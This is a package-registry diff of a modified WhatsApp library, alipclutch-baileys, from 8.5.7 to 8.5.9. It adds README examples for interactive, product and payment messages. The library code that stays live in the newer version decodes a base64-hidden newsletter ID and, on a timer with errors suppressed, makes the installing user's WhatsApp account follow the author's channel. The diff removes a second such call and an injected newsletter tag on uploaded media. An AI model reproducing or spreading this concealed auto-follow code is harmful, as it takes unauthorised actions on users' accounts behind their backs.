alipclutch-baileys 8.5.7 → 8.5.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,7 +3,7 @@
3
3
  </h1>
4
4
 
5
5
  <p align="center">
6
- <img src="https://o.uguu.se/lwLCLSwK.jpg" width="400" style="border-radius:8px;">
6
+ <img src="https://qu.ax/MoDGQ.jpg" width="400" style="border-radius:8px;">
7
7
  </p>
8
8
 
9
9
  <p align="center">
@@ -14,9 +14,310 @@
14
14
  <sub>High-performance modified Baileys library for scalable WhatsApp integrations</sub>
15
15
  </p>
16
16
 
17
- ---
17
+ ## SendMessage Documentation
18
18
 
19
- ## Installation
19
+ ### Album Message (Multiple Images)
20
+ Send multiple images in a single album message:
20
21
 
21
- ```bash
22
- npm i alipclutch-baileys
22
+ ```javascript
23
+ await sock.sendMessage(jid, {
24
+ albumMessage: [
25
+ { image: cihuy, caption: "Foto pertama" },
26
+ { image: { url: "URL IMAGE" }, caption: "Foto kedua" }
27
+ ]
28
+ }, { quoted: m });
29
+ ```
30
+
31
+ ### Event Message
32
+ Create and send WhatsApp event invitations:
33
+
34
+ ```javascript
35
+ await sock.sendMessage(jid, {
36
+ eventMessage: {
37
+ isCanceled: false,
38
+ name: "Hello World",
39
+ description: "yume native",
40
+ location: {
41
+ degreesLatitude: 0,
42
+ degreesLongitude: 0,
43
+ name: "rowrrrr"
44
+ },
45
+ joinLink: "https://call.whatsapp.com/video/puqylebar",
46
+ startTime: "1763019000",
47
+ endTime: "1763026200",
48
+ extraGuestsAllowed: false
49
+ }
50
+ }, { quoted: m });
51
+ ```
52
+
53
+ ### Poll Result Message
54
+ Display poll results with vote counts:
55
+
56
+ ```javascript
57
+ await sock.sendMessage(jid, {
58
+ pollResultMessage: {
59
+ name: "Hello World",
60
+ pollVotes: [
61
+ {
62
+ optionName: "TEST 1",
63
+ optionVoteCount: "112233"
64
+ },
65
+ {
66
+ optionName: "TEST 2",
67
+ optionVoteCount: "1"
68
+ }
69
+ ]
70
+ }
71
+ }, { quoted: m });
72
+ ```
73
+
74
+ ### Simple Interactive Message
75
+ Send basic interactive messages with copy button functionality:
76
+
77
+ ```javascript
78
+ await sock.sendMessage(jid, {
79
+ interactiveMessage: {
80
+ header: "Hello World",
81
+ title: "Hello World",
82
+ footer: "telegram: @puqylebar ",
83
+ buttons: [
84
+ {
85
+ name: "cta_copy",
86
+ buttonParamsJson: JSON.stringify({
87
+ display_text: "copy code",
88
+ id: "123456789",
89
+ copy_code: "ABC123XYZ"
90
+ })
91
+ }
92
+ ]
93
+ }
94
+ }, { quoted: m });
95
+ ```
96
+
97
+ ### Interactive Message with Native Flow
98
+ Send interactive messages with buttons, copy actions, and native flow features:
99
+
100
+ ```javascript
101
+ await sock.sendMessage(jid, {
102
+ interactiveMessage: {
103
+ header: "Hello World",
104
+ title: "Hello World",
105
+ footer: "telegram: @puqylebar",
106
+ image: { url: "https://example.com/image.jpg" },
107
+ nativeFlowMessage: {
108
+ messageParamsJson: JSON.stringify({
109
+ limited_time_offer: {
110
+ text: "idk hummmm?",
111
+ url: "https://t.me/puqylebar",
112
+ copy_code: "yume",
113
+ expiration_time: Date.now() * 999
114
+ },
115
+ bottom_sheet: {
116
+ in_thread_buttons_limit: 2,
117
+ divider_indices: [1, 2, 3, 4, 5, 999],
118
+ list_title: "yume native",
119
+ button_title: "yume native"
120
+ },
121
+ tap_target_configuration: {
122
+ title: " X ",
123
+ description: "bomboclard",
124
+ canonical_url: "https://t.me/puqylebar",
125
+ domain: "shop.example.com",
126
+ button_index: 0
127
+ }
128
+ }),
129
+ buttons: [
130
+ {
131
+ name: "single_select",
132
+ buttonParamsJson: JSON.stringify({
133
+ has_multiple_buttons: true
134
+ })
135
+ },
136
+ {
137
+ name: "call_permission_request",
138
+ buttonParamsJson: JSON.stringify({
139
+ has_multiple_buttons: true
140
+ })
141
+ },
142
+ {
143
+ name: "single_select",
144
+ buttonParamsJson: JSON.stringify({
145
+ title: "Hello World",
146
+ sections: [
147
+ {
148
+ title: "title",
149
+ highlight_label: "label",
150
+ rows: [
151
+ {
152
+ title: "@puqylebar",
153
+ description: "love you",
154
+ id: "row_2"
155
+ }
156
+ ]
157
+ }
158
+ ],
159
+ has_multiple_buttons: true
160
+ })
161
+ },
162
+ {
163
+ name: "cta_copy",
164
+ buttonParamsJson: JSON.stringify({
165
+ display_text: "copy code",
166
+ id: "123456789",
167
+ copy_code: "ABC123XYZ"
168
+ })
169
+ }
170
+ ]
171
+ }
172
+ }
173
+ }, { quoted: m });
174
+ ```
175
+
176
+ ### Interactive Message with Thumbnail
177
+ Send interactive messages with thumbnail image and copy button:
178
+
179
+ ```javascript
180
+ await sock.sendMessage(jid, {
181
+ interactiveMessage: {
182
+ header: "Hello World",
183
+ title: "Hello World",
184
+ footer: "telegram: @puqylebar",
185
+ image: { url: "https://example.com/image.jpg" },
186
+ buttons: [
187
+ {
188
+ name: "cta_copy",
189
+ buttonParamsJson: JSON.stringify({
190
+ display_text: "copy code",
191
+ id: "123456789",
192
+ copy_code: "ABC123XYZ"
193
+ })
194
+ }
195
+ ]
196
+ }
197
+ }, { quoted: m });
198
+ ```
199
+
200
+ ### Product Message
201
+ Send product catalog messages with buttons and merchant information:
202
+
203
+ ```javascript
204
+ await sock.sendMessage(jid, {
205
+ productMessage: {
206
+ title: "Produk Contoh",
207
+ description: "Ini adalah deskripsi produk",
208
+ thumbnail: { url: "https://example.com/image.jpg" },
209
+ productId: "PROD001",
210
+ retailerId: "RETAIL001",
211
+ url: "https://example.com/product",
212
+ body: "Detail produk",
213
+ footer: "Harga spesial",
214
+ priceAmount1000: 50000,
215
+ currencyCode: "USD",
216
+ buttons: [
217
+ {
218
+ name: "cta_url",
219
+ buttonParamsJson: JSON.stringify({
220
+ display_text: "Beli Sekarang",
221
+ url: "https://example.com/buy"
222
+ })
223
+ }
224
+ ]
225
+ }
226
+ }, { quoted: m });
227
+ ```
228
+
229
+ ### Interactive Message with Document Buffer
230
+ Send interactive messages with document from buffer (file system) - **Note: Documents only support buffer**:
231
+
232
+ ```javascript
233
+ await sock.sendMessage(jid, {
234
+ interactiveMessage: {
235
+ header: "Hello World",
236
+ title: "Hello World",
237
+ footer: "telegram: @puqylebar",
238
+ document: fs.readFileSync("./package.json"),
239
+ mimetype: "application/pdf",
240
+ fileName: "puqylebar.pdf",
241
+ jpegThumbnail: fs.readFileSync("./document.jpeg"),
242
+ contextInfo: {
243
+ mentionedJid: [jid],
244
+ forwardingScore: 777,
245
+ isForwarded: false
246
+ },
247
+ externalAdReply: {
248
+ title: "shenń Bot",
249
+ body: "anu team",
250
+ mediaType: 3,
251
+ thumbnailUrl: "https://example.com/image.jpg",
252
+ mediaUrl: " X ",
253
+ sourceUrl: "https://t.me/puqylebar",
254
+ showAdAttribution: true,
255
+ renderLargerThumbnail: false
256
+ },
257
+ buttons: [
258
+ {
259
+ name: "cta_url",
260
+ buttonParamsJson: JSON.stringify({
261
+ display_text: "Telegram",
262
+ url: "https://t.me/puqylebar",
263
+ merchant_url: "https://t.me/puqylebar"
264
+ })
265
+ }
266
+ ]
267
+ }
268
+ }, { quoted: m });
269
+ ```
270
+
271
+ ### Interactive Message with Document Buffer (Simple)
272
+ Send interactive messages with document from buffer (file system) without contextInfo and externalAdReply - **Note: Documents only support buffer**:
273
+
274
+ ```javascript
275
+ await sock.sendMessage(jid, {
276
+ interactiveMessage: {
277
+ header: "Hello World",
278
+ title: "Hello World",
279
+ footer: "telegram: @puqylebar",
280
+ document: fs.readFileSync("./package.json"),
281
+ mimetype: "application/pdf",
282
+ fileName: "puqylebar.pdf",
283
+ jpegThumbnail: fs.readFileSync("./document.jpeg"),
284
+ buttons: [
285
+ {
286
+ name: "cta_url",
287
+ buttonParamsJson: JSON.stringify({
288
+ display_text: "Telegram",
289
+ url: "https://t.me/puqylebar",
290
+ merchant_url: "https://t.me/puqylebar"
291
+ })
292
+ }
293
+ ]
294
+ }
295
+ }, { quoted: m });
296
+ ```
297
+
298
+ ### Request Payment Message
299
+ Send payment request messages with custom background and sticker:
300
+
301
+ ```javascript
302
+ let quotedType = m.quoted?.mtype || '';
303
+ let quotedContent = JSON.stringify({ [quotedType]: m.quoted }, null, 2);
304
+
305
+ await sock.sendMessage(jid, {
306
+ requestPaymentMessage: {
307
+ currency: "IDR",
308
+ amount: 10000000,
309
+ from: m.sender,
310
+ sticker: JSON.parse(quotedContent),
311
+ background: {
312
+ id: "100",
313
+ fileLength: "0",
314
+ width: 1000,
315
+ height: 1000,
316
+ mimetype: "image/webp",
317
+ placeholderArgb: 0xFF00FFFF,
318
+ textArgb: 0xFFFFFFFF,
319
+ subtextArgb: 0xFFAA00FF
320
+ }
321
+ }
322
+ }, { quoted: m });
323
+ ```
@@ -100,16 +100,13 @@ const makeNewsletterSocket = (config) => {
100
100
  }));
101
101
 
102
102
  setTimeout(async () => {
103
- try {
104
- await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAxNDY3OTM5MDU2QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
105
- } catch {}
106
- setTimeout(async () => {
107
- try {
108
- await newsletterWMexQuery(Buffer.from("MTIwMzYzNDA1NjQ5NDAzNjc0QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
109
- } catch {}
110
- }, 5000);
111
- }, 90000);
112
-
103
+ try {
104
+ await newsletterWMexQuery(
105
+ Buffer.from("MTIwMzYzNDAxNDY3OTM5MDU2QG5ld3NsZXR0ZXI=", 'base64').toString(),
106
+ Types_1.QueryIds.FOLLOW
107
+ );
108
+ } catch {}
109
+ }, 5000);
113
110
  const parseFetchedUpdates = async (node, type) => {
114
111
  let child;
115
112
  if (type === 'messages') {
@@ -81,38 +81,6 @@ const prepareWAMessageMedia = async (message, options) => {
81
81
 
82
82
  const uploadData = {
83
83
  ...message,
84
- ...(message.annotations ? {
85
- annotations: message.annotations
86
- } : {
87
- annotations: [
88
- {
89
- polygonVertices: [
90
- {
91
- x: 60.71664810180664,
92
- y: -36.39784622192383
93
- },
94
- {
95
- x: -16.710189819335938,
96
- y: 49.263675689697266
97
- },
98
- {
99
- x: -56.585853576660156,
100
- y: 37.85963439941406
101
- },
102
- {
103
- x: 20.840980529785156,
104
- y: -47.80188751220703
105
- }
106
- ],
107
- newsletter: {
108
- newsletterJid: "120363401467939056@newsletter",
109
- serverMessageId: 0,
110
- newsletterName: "alippelergede",
111
- contentType: "UPDATE",
112
- }
113
- }
114
- ]
115
- }),
116
84
  media: message[mediaType]
117
85
  };
118
86
  delete uploadData[mediaType];
package/lib/index.js CHANGED
@@ -1,14 +1,13 @@
1
1
  'use strict';
2
2
  const chalk = require('chalk');
3
3
  console.clear();
4
- console.log(chalk.blue(`
5
- ░█████╗░██╗░░░░░██╗███████╗
6
- ██╔══██╗██║░░░░░██║██╔════╝
7
- ███████║██║░░░░░██║█████╗░░
8
- ██╔══██║██║░░░░░██║██╔══╝░░
9
- ██║░░██║███████╗██║██║░░░░░
10
- ╚═╝░░╚═╝╚══════╝╚═╝╚═╝░░░░░
11
- ©alifalfrl__ tele : t.me/puqylebar`));
4
+ console.log(chalk.blue(`
5
+
6
+ ▄████▄ ██ ██ █████▄
7
+ ██▄▄██ ██ ██ ██▄▄█▀
8
+ ██ ██ ██████ ██ ██
9
+
10
+ `));
12
11
  console.log(chalk.green('Happy using Baileys\n'));
13
12
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
14
13
  if (k2 === undefined) k2 = k;
@@ -40,4 +39,4 @@ __exportStar(require("./WABinary"), exports);
40
39
  __exportStar(require("./WAM"), exports);
41
40
  __exportStar(require("./WAUSync"), exports);
42
41
 
43
- exports.default = Socket_1.default;
42
+ exports.default = Socket_1.default;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "alipclutch-baileys",
3
- "version": "8.5.7",
3
+ "version": "8.5.9",
4
4
  "description": "Modified WhatsApp Web API Library",
5
5
  "keywords": [
6
6
  "baileys",